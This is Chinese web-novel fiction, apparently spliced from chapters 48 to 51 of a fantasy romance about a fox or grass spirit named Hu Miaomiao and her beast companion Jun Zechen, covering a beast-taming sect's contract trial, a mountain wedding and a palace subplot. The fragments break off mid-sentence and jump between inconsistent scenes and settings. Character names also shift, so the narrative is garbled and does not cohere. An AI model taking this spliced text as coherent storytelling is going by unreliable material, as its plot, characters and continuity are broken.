小毛球被打发出去,尹镜摸摸肩膀上环绕的银蛇,满脸严谨地掏出一本书递给胡淼淼,“你才刚入门,你的灵兽看起来也不适合战斗,这本书先学着,将来或许能用着上,还有灵兽空间得学,出门在外很方便。” 胡淼淼心念一动,如果能把崽崽放在灵兽空间,那会减轻不少麻烦。 房间外,君泽琛来回踱步,时不时回头看一眼门口,识海中若有若无的牵绊,延入房间里面。 从契约起他们之间就有这种羁绊,时而能感应到彼此的位置,时而能感受情绪,还有一种想要亲近彼此的错觉。 这不,才稍微离开一会,就有些心慌意乱。 君泽琛想,应该是契约关系。 他竖着耳朵等一会,里面依然没有动静,好半晌,他像是想到什么起身窜走。 众人不是对君泽琛有敌意,而是见不得某人监守自盗,亏他们认为捉妖师无欲无求正人君子,竟然暗搓搓把单纯的小姑娘哄着结婚了。 这事,是他不地道。 跑,是个技术活! 胡淼淼现在为长公主,一举一动皆在人家眼皮子底下,她敢跑,保准满城通缉…… 不跑,又要被反派酱紫酿紫。 意识到自己就是悲剧中的悲剧,胡淼淼的小心肝剧烈颤抖,来给她把脉的太医同样跟着抖啊抖啊,一张老脸皱成了橘子皮,最终痛心疾首给出结果:“公主脉搏过快,这是心疾啊,还望公主多多休息,勿要操劳过度,不然……” 太医说到这,摇头叹息,活像百度百科,随便问个问题癌症起步。 胡淼淼心情复杂地让太医们撤退,又听贴身宫婢翠花说:“公主可听到了?如今皇上……小皇子明日登基,皇子年龄还小,需要公主帮衬,世子那边先放一放,有什么事情过了孝期再议,万不可让旁人抓到把柄。” 翠花认为,公主心疾除了先皇驾崩,还有一点就是心里惦记镇北王世子 “知道了知道了,以后再说。” 开玩笑,谁惦记那男人,那也得有命惦记啊。 一码归一码,捉妖是他的功劳,骗小姑娘总是要说说的。 虽然他们说捉妖师坏话,胡淼淼很难过,觉得捉妖师不是这样的,他人很好很好,却也知道他们是关心自己。 她眼睛酸酸的,人间真好,和狐族一点都不一样,如果当初她不是狐妖,降生在人界,该有多好。 她是否能有爱她的父母,无忧无虑地生活。 不过,这世界上没有那么多的如果。 胡淼淼心里酸酸邀请众人上山喝喜酒,原本村里人劝让他们在村里办婚礼,可是狐狸还是喜欢山上,就婉拒了。 和众人告别后,她仰头望天,好久才把难受的心情甩开。 变成小狐狸,蹦蹦跶跶地上山。 然而走了一半,她发现山里多了很多陌生的气息。 她敏锐地用鼻子嗅了嗅,很多,得有几十个陌生生物。 这座山头就他们几个,什么时候来这么多…… 难不成是狐族趁着君泽琛不在,来抓她了? 就在胡淼淼踌躇之际,山路两侧的灌木发出沙沙声,一只只身躯比狐狸强大,外表比狐狸凶残,似狼似狗的生物,凶神恶煞走出来,将小小的狐狸包围。 胡淼淼蹲坐在地上,仰望一只只迷之生物,明亮的浅蓝色狐瞳目光呆滞。 “啊?” 嗷嗷嗷? 发生了什么呀? 第 48 章 第 48 章 自古以来,任何生物都会对比自己庞大的生物产生恐惧,尤其是对方长得很像狐狸的天敌。 浓重的压迫感刷地一下就上来了,胡淼淼的脑子当场宕机,背脊升起寒意炸起一层层浮毛,生活在平静的环境太久,胡淼淼已经许久没有这种危机感了。 她炸着毛,身躯僵硬,缩着脖子一动不敢动。 王云脸色青一阵白一阵的,众人还有什么不知道的? 要怪就怪他平时对灵兽不上心,此次抓进来的正好是碎嘴兔,碎嘴兔有啥说啥甚至能模仿声音,是不会说谎的。 大师姐眼神倏然凌厉,“老三带去审问。” 御兽宗没有执法堂,平时也没有什么赏罚,如今只能先交给而三师兄轩辕了。 毕竟是人间皇子,平时掌管宗门内务总是会一些手段的,胡淼淼被三师兄的名字狠狠震惊了一把,如果不是时机不对,真的想竖手指夸赞,好姓!威武霸气! 轩辕有些不满:“说多少遍了,不要叫我老三。” 金灿灿的三师兄带弟子把王云拖走,大师姐回眸对上胡淼淼的语气柔和了几分:“你先带灵兽去助药师那里看看,别留下什么阴影和身体隐患,此次是我等的疏忽,费用找你三师兄要。” “好!” 因为这一变故,晋级比试暂停,和灵兽相逢的算是通关,其余没找到的等过些时日重新开始,通过碎嘴兔重复的话,这些年王云没少虐杀灵兽,几位内门师兄师姐前去收拾残局以及调查灵兽失踪事件。 接下来的事情不用胡淼淼插手,她现在的任务是安慰好受伤的灵兽,不要让他产生心里阴影和查看灵兽的伤势,至于其他的账以后再算,正巧到了当初约好复诊的日子。 十日未见,助药师一言难尽,“你这只灵兽受伤得太频繁,如果不是他特殊,都快被你养死了。” 胡淼淼反思,“我的错!” 都怪她太粗心大意。 助药师:“不过,瞅着倒是比十天前胖了。” 胡淼淼一直和小黑球在一起没觉得有太大不变化,闻言挑了挑眉,故意道:“那肯定是被打肿了,您快帮他看看,他现在是内伤还是外伤?多来点药,大师姐说宗门给报销。” 君泽琛:“……”殊不知心里的声音再次传递给了君泽琛。 于是胡淼淼指尖冷不丁一片湿软。 白日里,小兽通体黑亮,兽虽小眼睛却很大,如若细看会发现眼底深处微微一闪过的红光,他此时正“凶狠”地瞪着眼前的人类,三瓣嘴旁的胡子抖了抖,张嘴时能看见口中若隐若现的嫩肉,粉粉的很可爱。 他两颗小尖牙正镶嵌在胡淼淼的指腹上,可惜牙齿太小就好像蚊子叮了一下,根本没有什么杀伤力。 她笑眯眯地动了动那根被他含入口中的指尖,调戏似的抵住他米粒般的小白牙。 “正想着你咬我呢,你还真咬啊,这叫什么?心有灵犀一点通,你跟我心意相通就是有缘,被我捡到就是我的了,来,再凶一个~” 君泽琛:“……” 他听到的,是这个人类的心声? 君泽琛在妖族活了将近十几年,从未见过这种离奇的事,一时之间呆住了。 他不知为何变成了幼年期,又从妖族来到人界被这个怪女人捡到,但他知道现在谁也打不过,如果惹怒她,没准真能和她所想那般,一手捏死十个他。 这个认知,让他松了口,屈于人类淫.威之下,自闭般蜷缩成一团。 于是,胡淼淼看见小黑毛绒绒用他几乎看不见的短腿,抱紧了自己团成了一坨小黑球。 她震惊,“你竟然有腿?” 小黑球:“……” 他抖着耳朵又团了团,浑身紧绷,任由胡淼淼怎么扒拉都不理她。 大有一副要杀要剐悉听尊便的架势。 胡淼淼遗憾地收手,把他揣怀里继续找仙门,终于在费尽九牛二虎之力,她在日落之前找到了一个坐落在山顶上的……庄园? 胡淼淼打探过,听闻这个仙门正在招人,结果看起来很普通,好似普通的农家院。 门口有个少女,翘着二郎腿,双臂环胸靠在椅子上睡觉。 冷风吹过,两片枯黄的叶子从眼前掉落,衬得山庄更加萧瑟。 根本不像什么仙门。 不过,如果找个普通村落住着,岂不是比仙门更悠闲?偶尔还能变回小草撒欢也不怕被发现。 就在胡淼淼思索之际,门口的少女睁开眼睛,看见胡淼淼的时候眼底闪过一抹惊艳,腾地一下站起来,窜到她身边,握住她的手,“姑娘是来拜 你才肿了! 其实他只是挨了一棍,比起以前所受的伤不值一提,助药师却检查了很久,像是研究什么,半个时辰后才把灵兽还给胡淼淼,并嘱托,“没事,还是之前药,再吃半个月试试。” 胡淼淼给了灵石,然后去找所谓的三师兄报销,结果对方瞅一眼道:“我联络了助药师,这是以前的旧伤,不是此次试炼所伤,不予赔偿。” 唉?胡淼淼第一次在三师兄面前瞪大眼睛,“那他挨一下子,总得给点补偿吧?还有精神损失费呢?” 胡淼淼本身灵石就不多,助药师的药还很贵,这次买了半个月的药差点掏空腰包,就算医药费不沾边,那工伤总得给点补贴吧? 结果三师兄这种恨不得把有钱两个字写脑门上的人,气场与性格极其不符。 对方微笑:“助药师没说给开了外伤的药。” “我去找大师姐。”胡淼淼扭头就走,三师兄脸色一变,“等等,你刚入门,兴许以后还要进入内门,师兄也不差点灵石就当是给新师妹个见面礼吧。” 他忍痛掏出一个木匣子,递给胡淼淼,“拿去吧。” 胡淼淼瞬间微笑脸,“多谢大师兄!” 捧着木匣子沉甸甸的应该有不少灵石,胡淼淼很满意地离开,结果回去打开一看,很讲究华丽的一个匣子,里面甚至不知用什么材质打造的格子,很高大上,也很…沉,还很占空间,导致里头只摆放了一枚下品灵石。 胡淼淼:“……”这和现代盒装水果里面塞了一堆泡沫有什么区别? 区别就是,更沉重了! 【#¥%……】 在这一瞬间君泽琛听到了一串很难懂的语言,疑惑地叫了一声,换回了某人类女子的神智,胡淼淼猛然捧起他毛绒绒小身板,用脸蛋蹭蹭:“明天开始,我要赚钱养家了。” 她蹭到了什么东西,发现感觉不对,睁眼一看,唔,是那条她荧光绿的布条,触感不好,拆开丢掉。 君泽琛爪子一松,余光瞥见一抹绿色,浑身的血液瞬间凝固,他今日当着全御兽宗的面戴了一天这东西? 一瞬间,浓重的羞耻感袭上心头。 这一日心情起起伏伏,先是说什么进迷宫就去找他,结果和其他孔雀“卿卿我我”,然后是让他戴这种羞耻东西,在宗门…… 胡淼淼正要继续贴贴毛绒绒回口血,结果掌心一空,再次抬眼,那么小的毛绒绒离开了她,眨眼间窜到床脚,整只毛绒绒都蓬松了一圈,并背对着她。 她眨了眨眼睛,“怎么了吗?” 胡淼淼凑过去,戳了戳他,他背脊紧绷拒绝交流。 她挠挠头百思不得其解,干脆侧躺在床上,支着下巴开始翻旧账,“你今天有没有做什么坏事儿啊。” 君泽琛垂下耳朵,听不懂,不理会。 胡淼淼气乐了,“你好端端烧孔雀干什么?人家招你惹你了?” 君泽琛僵硬着身躯,“啾!”他在哪?什么动静?刚才他发出了什么声音? 君泽峥凌乱地低头,可惜他现在太圆了,根本看不见自己的爪子。 变小了??? 那是一只没有礼貌冒昧至极的色鸟! 胡淼淼没想到是这个理由,颇为震撼:“哪色???” 提到这事君泽琛就胸腔气闷,一顿“啾啾”。 它臭美放荡,对你开屏,还说不色?它都骚扰你了! 君泽琛气得差点说人话,这个人类怎么什么都不懂,动不动就调戏他也就算了,他是正经妖,能忍着不占她便宜,那只绿孔雀能一样吗? 鸟族本就爱美花心,见一个爱一个,君泽琛曾经就在妖族一只重明鸟兴风作浪,妖姬无数,不检点,太不检点了。 君泽琛决定,要好好和这个人类说道说道,说一些鸟的习性,和坏处,谁知脑袋一暖,他的小脑瓜子被压得低了几分。 “啾!”松开。 胡淼淼轻笑,不但没松开还把他头顶的毛揉得一团糟,手感软绵,越摸越上瘾,“原来你关心的是这个?” “哼唧?”什么叫关心这个,这个不重要吗? 还以为小崽子兽性难驯,不服管教,不知对错乱伤人呢,结果是为了她。 “汪 !你别听她的,她恶狐先告状,我们一根毛都没动她的。” “就是就是,此狐其心可诛,应该快点赶走,别耽误您的婚礼。” 众狼七嘴八舌,你一言我一语。 殊不知,跟在他们屁股后回来、刚了解前因后果的红溯魇已经找一个树根躲好。 第 49 章 第 49 章 果然,狐祖宗被气炸。 她站在男人头顶指指点点,“嗷呜!” 看看,他们还骂我恶狐! 现在的胡淼淼,已经不是曾经在狐族任人欺负的可怜虫、受气包。 她是一个有靠山的狐,有人会倾听狐的委屈,给狐撑腰,让她在外面被欺负有勇气告状,而不是蜷缩在角落里独自舔舐伤口,数着自己掉落的狐毛过日子。 她实话实说,确实是这群外来者吓到狐了。 年幼的心里阴影是不会那么快被磨平的,就算胡淼淼吃掉了妖丹、魅果,在君泽琛的指导下越来越强大,但当遇见危险的第一时刻,她想到的不会用力量去反击,而是回忆往昔的痛苦,忘记了自己有反抗的权利。 男人的脸色冷淡,将小狐狸从头上摘下来,轻柔地抱回怀里,有力地大手安抚着狐狸的情绪,以免她应激,余光居高临下地睥睨整个狼族。 第三关与灵兽签订平等契约,双方需要接受天道的考验,而且还要看彼此的缘分。 往年的外门弟子基本上在第三关团灭。 今年大概有所不同,因为有一名弟子竟然在未结契时便能听懂灵兽的话。 在众人看来,就是御兽的好苗子。 连御兽宗宗主都出动了。 御兽宗没有长老,只有一位宗主坐镇,周宗主常年闭关,很少出现在众人视野中。 这次出来,竟然这是因为一个小小的外门比试。 旁人如何胡淼淼不知道,她只能说要辜负他们的期望了。 她问过系统,一棵草和一只兽皆非人类,是不会有好结果的。 所以呢。 今日来,就是走个过场。 结契需要在御兽宗宗祠举行,其他人都被拦在门口,除了宗主唯有几位内门弟子,以及入选的三人三兽。 宗主打量三人。 作为御兽宗外门弟子,他们的修为不高,都停留在刚修炼的炼气期阶段,而胡淼淼身为一棵草,在外人看来,是一个筑基期修士。 当然,那都是外表,实际上凭借无垠草的能力,能调动天地之间的木灵,堪比金丹。 要知道,当今青泽宗的首席弟子,也不过金丹顶峰而已。 只不过…出了一点小意外。胡淼淼啧了一声,给二人施了一个清洁术,靠在床边打开通灵玉。 【修真界奇闻】上,确实都在讨论鸿蒙秘境。 鸿蒙秘境,根据天机阁少司命占卜,两个月后出现在东洲四象谷附近。 四象谷地区和御兽宗一样偏远,常年会有流落在人界的妖族骚扰。 如果两个月,现在就可以出发了。 修真界在实力没达到元婴之前,飞行需要借助外力,除了剑修的御剑飞行,大家出行也可以用灵舟。 不知道御兽宗有没有。 胡淼淼切换通灵玉的页面,想着明天问问王岚师姐。 她有一段时间没看通灵玉,上面关于她的悬赏令已经被秘境的事情覆盖。 怪不得这么长时间没人骚扰她,御兽宗的弟子也玩通灵玉,不可能不知道悬赏令画像的事情。 然而,御兽宗的人没有一个揣测她和画像的相似之处,毕竟她又不是主角,走到哪都有人关注。 看来当初选择御兽宗是正确的。 只不过,【修真界奇闻】偶尔还是能看见零星半点关于她的消息,当时间久了,谣言四起,有人关注她和青泽宗那位是什么关系。 【那可是青泽宗首席大弟子,不惜花费三千万上品灵石找一个女人,能是什么关系?听说慕言辞这些年洁身自好,还以为喜欢的是青泽宗的云书谣,没想到竟然为其他女子用情至深。】 胡淼淼面无表情,谣言就是这么产生的。 正要关闭通灵玉,一只毛绒绒的小黑爪按了上来。 “啾?” 他是谁? 大病未好,小崽子刚醒来身体虚弱,声音有些沙哑,叫起来愣是有一种歇斯底里的错觉。 她一低头,对上了对方黑黝黝的眼睛,竟有很强烈的压迫感。 “这是怎么了?你不是应该关心契约的事吗?我也没想到会契约成功,对你影响还那么大。” 她说了一堆,小黑团子却恍若未闻,肉垫再次拍拍通灵玉上面的那句话。 重点落在慕言辞三个字上。 “啾?”青泽宗?他是谁? “不是,你为什么能看懂字?” “啾!!!”对谁用情至深! 胡淼淼:“……怎么了这是,这是重点吗?” “哼唧!”是重点,你说啊! 刚从昏迷中醒来的毛团子的毛硬生生炸了一圈,炸成为一只黑色的松球,一双眼睛瞪圆了,就那么明亮有神地盯着她。 不知怎地,气得差点说人话。 周宗主并不在意众人修为如何,在御兽宗能御兽就足够。 他十分和蔼掏出几幅帖子送到众人手中,“这里是沟通于天道的契约帖,你们只要把血滴入,再按照上面的纹路描绘,经过天道允许便能成功结契,不过你们要做好准备,这步骤看似简单,实际上能不能成功还是要看造化。” 胡淼淼接过一个帖子,发现上面什么图案都没有,应该是等滴血才会有反应,她暗自嘀咕。 【成功是不可能成功的,我乐意,小崽子也不乐意。】 趴在她肩膀上的君泽琛听得清清楚楚。 他确实不想和人类结契,但听到耳里,又是一种滋味。 君泽琛鬼使神差地想,如果是和她,似乎也不是不可以。 反正是平等契约,不会对现在的生活有什么影响,那是不是,永远可在一起了? 这边一草一兽心怀鬼胎,另外两边已经开始迫不及待地结契。 那名不认识的弟子和灵兽把血滴上去,契约帖上却没有丝毫反应,他有些失落,“是不是失败了?” 宗主淡淡瞥一眼,表情习以为常,王岚凑过去安慰了几句,小莹和孔蓝把血滴上去后,惊呼一声,“有反应了。” 众人凝神看过去,只见滴上去的血融合之后,空白的帖纸上浮现出一个孔雀的纹路,血液幻化成红线,宗主道:“控制血液,按照上面的图纹描绘。” 小莹一喜,赶紧按照嘱咐照搬,然而不知怎地,红线竟然在最后一步断了。 王岚惊讶:“怎会如此?要说往年的弟子们都无法引起契约帖共鸣,还是第一次见被打断的。” 其他内门弟子也很意外。 周宗主倒是淡定,“这是灵兽不愿意,被天道拒绝了。” 竟然还是此事? 孔蓝不是很喜欢小莹的吗? 胡淼淼心生奇怪,小莹也不敢相信地看着孔蓝,孔蓝低着头,不知在想什么,但显然问题出在它身上。 它的尾羽尚未长好,耷拉在后面,活脱脱像被淋了雨的落汤鸡,气息也很古怪。 小莹扯了扯唇角,最终道:“没事,今年不通过,我再等明年。 只是明年是否能通过前两关还是未知数。 气氛有些僵硬,就剩下胡淼淼尚未行尚未行动,胡淼淼犹豫半晌,用灵力划破指尖,血液从伤口渗出。 就在这时,一种奇异的香味蔓延在空气中,所有人都感知到,牵连空间另一头的灵兽们,竟然开始躁动起来。 胡淼淼后知后觉,暗叫一声糟。脑袋上渗了某种湿意,君泽琛愣住,下意识想唤她名字,可话到嘴边还是受限制,成了一个字,“啾?” “闭嘴,让我看看你,有没有受伤。”胡淼淼又蹭了两下他的脑袋,这才上上下下打量他,发现小崽子像是吃了催化剂,比以前又整整大了一圈,没有以前圆润四肢修长了很多,尾巴也比以前长,像是长毛猫的尾巴,很蓬松。 卷耳微微立起,似乎没从刚才的惊吓中回神,眼睛瞪得圆溜溜,一眨不眨和胡淼淼对视。 无垠草浑身上下都是宝,当初慕言辞想利用她的血晋级,原著里可以入药,对灵兽更是致命的吸引。 胡淼淼虽然穿成草,但是大多都以为自己是人,以至于忽略了致命问题。 人心险恶,御兽宗现在对她友善,知道她身份后呢? 更何况她的血对灵兽有益,他们完全可以把她当做圈养的血库,提供资源。 胡淼淼的思绪疯狂运转,实际上现实中不过几秒钟而已,电光火石之间,一道小小的身影闪过。 血液滴落在契约帖上,她指尖一沉。 肩头上的小团子以最快的速度,叼住她的手指,与此同时,一爪子按在契约帖上,妖血瞬间覆盖了她的血液,二者融合,契约帖闪烁着猩红色光芒。 君泽琛的这种精神状态一直持续到成婚。 成婚的那日,整座山都在胡淼淼的布置下张灯结彩,几乎是每一棵树上都有红绸子。 没错,山里那么多树,都被精力旺盛的小狐狸率领狼妖大军挂上了好彩头。 对凡人来说是不可能的事儿,但对妖族刚刚好。 一早上,胡淼淼被男人从床上挖起来,穿上那件他绣了许久的红嫁衣。 她看着镜中的自己,懒懒地打了个哈气。 “嘬嘬,你说,晚上的婚礼,为什么要把我早上就挖起来呢?” 嘬嘬高大的身影站在她身后,手指修长,动作灵活地给她盘发。 “今晚成婚,你怎么睡得着。” 就……君泽琛这种精神状态,没心没肺的狐狸是不会理解的。 用狐狸的话说,都老夫老妻了,此次不过是告诉所有认识的人,他们是一家人罢了。 但很早之前,狐的小嘴巴就已经宣传得到处都是,她一点都不紧张,甚至向来闲不住的狐狸,因为某男人的精神状态折腾得提不起精神。 第 50 章 第 50 章 十月十,宜嫁娶。 整座山上红绸漫天,天气静好,临近傍晚的黄昏,晚霞铺盖整座山涧,像是老天对新人赠送的祝福。 日落村的人老早上山找胡淼淼。 胡淼淼和君泽琛都没有长辈,一些习俗和规矩都不懂,村里的几个大娘热心肠,给他们讲解婚礼需要注意的事宜。 他们的情况和其他人不同,女子出嫁是要迎亲的,所以村里的人建议,胡淼淼先回日落村,然后让君泽琛来接。 到嘴的媳妇要被人领走,君泽琛板着脸放冷气,却不得不妥协。 几百年了,他就成一次婚,本不拘于世俗的狼王第一次遵守规定,冷着脸让红溯魇带着几只狼去守着胡淼淼,免得中途出现什么意外。 而山鬼和鸡大妖作为胡淼淼那边的人,自然跟着下山,鸡大妖今日很是喜庆,它的鸡胸脯上挂着大大的红花,和红狼一左一右,做护狐使者。 当看见那幅画像后君泽琛呆愣在原地,二师兄得意,“是不是和师妹很像?不过这幅画像是我在通灵玉上发现的不可能是师妹,毕竟是青泽宗要找的人,怎么会在我御兽宗?” 旁人和胡淼淼接触不深,君泽琛却和胡淼淼朝夕相处。 哪怕是有几分相似的画像,哪怕胡淼淼额上没有三叶草,哪怕胡淼淼是黑眸,他依旧在画像上找到了熟悉感。 是她。 君泽琛十分肯定,就是她。 “啾啾?”青泽宗是什么?为什么要找她? 可惜,周子瑜听不懂小毛球的兽语,听到他叫,以为是问这幅画叫什么,他道:“是一幅美人图,懂了吗?直接叫美人,还有这幅,直接叫白虎,还有一个比较简单,就是一棵草,别怪我为难你,你直接薅一根草递到她面前,只要不傻都能猜出来,剩下就靠你发挥了。” 君泽琛:“……” 算了,以后去问她。 这一关,对于能听懂彼此说话的一草一兽来说并不难,可以光明正大表达。 胡淼淼等了半天,终于上场了,这是第二关最后一个接受考验的弟子,御兽宗所有人都在一旁等待。 她一眼就看见,自家小毛球在周子瑜身边,心事重重的样子,不由得有些好笑,“题很难吗?” 君泽琛摇摇头,叫了一声。 胡淼淼眼眸瞪大,“美人?你跟二师兄学了什么?” 虽然她承认自己长得很好看,但是…… 啊啊啊她的小崽子竟然开口调戏她。 救命,一会不见,怎么就变成了一只色崽? 胡淼淼如遭雷劈,不太友善的目光落在周子瑜身上。 周子瑜的脸色显然也很吃惊,察觉到众人的注视,连忙解释,“啊这个是题目,小师妹答对了,想不到小师妹在御兽方面如此有造诣,还未签订契约,就能与兽心意相通,那么……第二个题。” 白虎在一旁哀嚎,耷拉着耳朵满脸幽怨,为什么这个香香的人类能听懂那阴险小兽的话,听不懂它的。 其他人也一脸惊奇,这位新入门的弟子竟然能听得懂兽语。 世界上当真有如此奇才? 胡淼淼:“……” 糟糕,刚才毛球说的两个字过于震撼,导致一不小心赢了一题,而且还暴露了能听到毛球的话。 她试图挽救,“不是,你们还记得这是个猜猜猜的游戏…不对,猜猜猜的比试吗?我能听得懂他说话,你们就不觉得不公平吗?” 弟子们很和善,“不会啊,你本身就有如此天分,是天生入内门的料,天赋是你自己的,我们没能力听懂兽语,所以很公平。” 公平个屁! 她不想入内门啊。 胡淼淼一口老血,安慰自己,没事,还有两局,只要她输了,就不会过关。 于是,当君泽琛说出白虎后,胡淼淼一句黑虎脱口而出,成功把白虎气得原地咆哮。 众弟子迷糊了,这位到底能不能听懂兽语啊。 胡淼淼见众人的表情,松口气。 周子瑜:“……不对,这个错了。” 君泽琛停顿几秒,试探性说:“花?” 胡淼淼本身就是草,这一瞬间,直接联想到本身,所以她开口,“草。” 周子瑜无视当场打滚的白虎,对胡淼淼笑道“原来师妹只是听不懂白虎啊,那没事了,恭喜师妹过了第二关,整顿整顿明天一早第三关,只要能成功结契,你们就可以进入内门了。” 胡淼淼:“???”草! 众弟子也纷纷前来恭喜,小莹开开心心凑过来,“太好了你也通过了。” 另一位侥幸通过的弟子,也在一旁道:“希望我们下一关都能进入内门,不过往年没有人进入内门,都是卡在结契上,不是所有人都能通过的。” 听到这句话,胡淼淼觉得自己又活过来了,她僵硬地扯了扯唇角,对众人笑笑,等众人散去,她火速薅住小毛球躲到一旁的林子里,狠狠揉搓,“怎么回事?不是花吗?” 毛团子被揉得乱了一身毛,挣扎着说,“啾咕!” 你不是说不想进入内门嘛?所以我就故意说错。 胡淼淼动作一顿,低头凝视他,从毛绒绒的脸上看见了无辜和委屈。 他好像真不是故意的。然后,他想伸着爪子去碰胡淼淼的脸。 胡淼淼抓住他的爪子惩罚性地捏了捏肉垫,“你怎么又被揍胖了?” 君泽琛:“啾……” 别闹…… 君泽琛逃跑时窜入烧黑的草丛,浑身上下就没几处干净的,刚才她用脸蹭他,白净的脸现在沾上了灰尘。 他又伸出另外一只小爪子,按在她的脸上,结果留下一串梅花印。 君泽琛:“……” 他收回爪,往身底下一塞,揣手手选择沉默。 胡淼淼没多想,只觉得小崽子在外面吃了亏,终于记得她的好,竟然主动亲近她,检查一遍发现没有受伤,悬着的心终于放下。 一转头发现众人都盯着她,胡淼淼讪讪,“怎么了?我家崽找到了,不是要找王云吗?” 王岚递给她一个帕子,“擦擦脸,王云不用找了,二师兄的小白在火堆里找到王云的气息,刚才那把火应该是他放的,没想到玩火自焚,真是活该!” 胡淼淼接过帕子,满腹狐疑地顺手擦把脸,然后发现帕子上面一层黑灰,不由得瞥一眼小毛球。 小毛球正揣着手收敛了浑身的刺,比平日里乖巧数倍,水汪的眼睛时不时偷瞄她。 他又不知道她会说草,初衷确实是好的,况且,他的小脑瓜跟她拳头那么大,能有什么坏心思? 这样想着,胡淼淼脸色闪过一抹心虚。 君泽琛望了望她,然后低头用爪子梳理被她弄乱的毛发,先捋顺腿上的毛毛、脖子下的、还有腹部的。 然而,这段时间他四肢虽然张开了些,但前爪依旧够不到某些地方,比如…后背。 他捣鼓半天,脑袋、前爪齐上阵,愣是触碰不到背脊上凌乱的毛,整个毛团子差点扭成打结的绳子,拉了那么长又弹了回去。 君泽琛:“……” 第一次憎恨自己腿短。 他幽幽望向罪魁祸首,却发现刚才还心虚愧疚的女人根本没有良心,此时正站在那里笑得花枝招展。 胡淼淼憋不住了。 “哈哈哈哈哈哈你好像小松鼠。” 君泽琛不语,他黑黝黝的眼睛继续盯她。 胡淼淼丝毫不知收敛,甚至还笑嘻嘻把脸凑到他面前,“之前不是不让我摸吗?现在怎地又要求我摸了?你喵一声听听,我就帮你弄。” 君泽琛:“……” 这次不止牙痒痒,爪子也痒痒,他干脆绷直了身体竖起来,肉垫狠狠搓向她的头发,速度极快,在胡淼淼没反应过来的时候,头发已经被弄乱了。 胡淼淼笑声戛然而止。 毛球:“哼唧?” 笑啊,怎么不笑了。 胡淼淼闭嘴,帮他把毛捋顺,顶着一头乱糟糟的头发回家,还不忘道:“生性不爱笑,回去吧,明天要结契,反正还有最后一关呢,也不一定过去。” 回去后,胡淼淼拿着梳子,从头到尾把鸡窝头梳一遍,好在发质不错,没有打结。 君泽琛趴在她梳妆台边,尾巴一晃一晃的,思考着画像的事儿。 本来打算直接问的,可转念一想,在胡淼淼眼里他只是一只幼崽,不该关心这种事。 况且,她怎么样,和他有什么关系? 连君泽琛自己都没有察觉到,自己甩尾巴的频率越发烦躁。 “绒绒?” 君泽琛一僵,还以为是什么要被戳穿了,结果一回头,那名人类女子梳子在他身上梳两下,纤细的指尖抓起一簇黑毛,笑眯眯道:“你掉毛了哦~” 君泽琛:“……” 狐狸踹狼,有去无回,手被男人禁锢,纤细的小腿也被男人一把握紧,他俯在她上方,问:“吃敬酒还是吃罚酒?” 胡淼淼瞪圆了眼睛:“你想用强的?” “这不是很懂吗?”君泽琛习惯性冷嘲,话音刚说出口,又想到今天是洞房夜,可不能把狐狸得罪了,话锋一转,“不懂可以教你。” 大概酒壮怂狐胆,胡淼淼心里的小火苗刷地一下就上来了。 她大言不惭:“谁用你教,我懂着呢,比你懂比你厉害。” 她可是狐狸精,怎么能在这方面输给人类呢? 可恶,瞧不起谁呢。 君泽琛的动作一顿,看着不知天高地厚的小狐狸,手指一挑划入她的裙角,摩梭她脚踝光滑的肌肤,锋利的眉头一扬。 “是吗?那可真是太厉害了。” 50-60 第 51 章 第 51 章 脚踝上的触感犹如野兽呼出的浊气,痒痒的,胡淼淼足尖蜷缩,和原形一样伸腿蹬他,可是男人的大手刚劲有力,愣是没被震撼分毫。 “有多厉害?”他将猎物拖到自己掌控范围,几乎笼罩住她整个身体,恶劣地看她在做无谓的挣扎。 这种姿势,胡淼淼极其没有安全感,但话语都说出去了,狐也是要面子的。 她艰难地吞了吞口水,眼神发虚,“就……让你欲——罢不能。” 胡淼淼虽然是狐族,但在狐族躲那些雄性都来不及呢,食不饱腹,怎么可能学乱七八糟的。 她没吃过猪肉,但是见过猪跑 ,山鬼的故事源源不断,虽然很多都被口口了,但是胡淼淼还是能窥探一二。 比如成婚,是要洞房花烛的,而且话本里面说,洞房花烛会是很浪漫的事情,让雄性和雌性彻底拥有彼此。 胡淼淼抬头,学着话本里的描述,用纤细柔软的手臂环绕住男人的脖子,鼓起勇气,“来!” 大大方方的,狐狸给足了台阶。 另一边,琛王和皇上不知谈了多久,才妥协放了三王府的人。 皇上鼻子都气歪了。 老三成亲,但他身为皇上不能亲自到场,随便派个太监去赏赐了点东西,就没怎么理会,今天上早朝才意识到朝中大臣少了大半,剩下的全是琛王余党。 让贴身太监富贵去打听,才知道是被胆大包天的琛王给扣押起来了。 皇上登时龙椅坐不住了,宣君泽琛责问,二人掰扯半天,他又不能拿他怎样,甚至达成不平等协议,刚把人送走,正头疼呢,就听说胡将军回京了! 眼下战事不多,边关也不用随时派大将镇守,但…… 富贵有眼力劲儿,他卑躬屈膝,小心翼翼询问:“要不,让大将军明儿再来?” “一个两个都不让人省心,让他进来。” 皇上眉眼之间闪过一丝不耐,但想到边关还需要胡家镇守,还有昨日的事确实是他们皇家理亏,只能应付了。 胡将军,也就是胡淼淼的父亲胡正阳此时正在殿外等候,本来还要两天才能到京城,但是家里突然传书,他的宝贝闺女竟然大婚之日出事了。 信中字迹潦草,因为慌乱,并没写那么详细,胡正阳下意识以为是三王爷让她闺女受委屈了。 就此快马加鞭,差点累死他的战马,连家都没回就跑皇宫找皇上评理了。 但…… 刚才过去的那个是琛王吧? 琛王竟然和他问好? 这让忧心忡忡胡大将军一阵毛骨悚然,琛王是受什么刺激了? 胡正阳脑中闪过很多问号,正想着,殿内门被推开,老太监走出来对他笑道: “胡将军,请~” 胡正阳脑子一根筋,也就在战场上才会活络起来,想不出来就不想了,还是先问问淼淼的情况再说,要是三王爷那小子敢欺负淼淼,他豁出老命也要讨个说法。 大老粗忽略心中的古怪,跟着太监富贵走了进去。 行礼之后就忙开口说出目的。 “皇上,听闻三王爷和淼淼出事了?敢问淼淼可有什么不对之处?” 胡正阳瞪着眼珠子,就差直接说“老子闺女那么好,错哪了大婚之日就出事了。” 皇上一顿,叹了口气:“胡将军可了解了经过?这次牵连了琛王,朕也没办法决定了。” 他绝口不提三王爷对胡淼淼做的事情,而是把事情引到了君泽琛身上,希望能拉开一波仇恨。 皇上还需要胡家做事,当然知道胡将军的脾气,自古武将的通病,就是倔,要是闹掰了,他也要头疼一阵子。 谁知,这波仇恨拉对了。 胡正阳的表情有些懵:“这和琛王有什么关系?” “你不知道?”皇上这回真惊讶了。 随即反应过来,按照将军哲冲动性子,知道爱女受委屈,肯定来不及了解详情,就来他这讨债了。 还真是莽撞! 不过…… 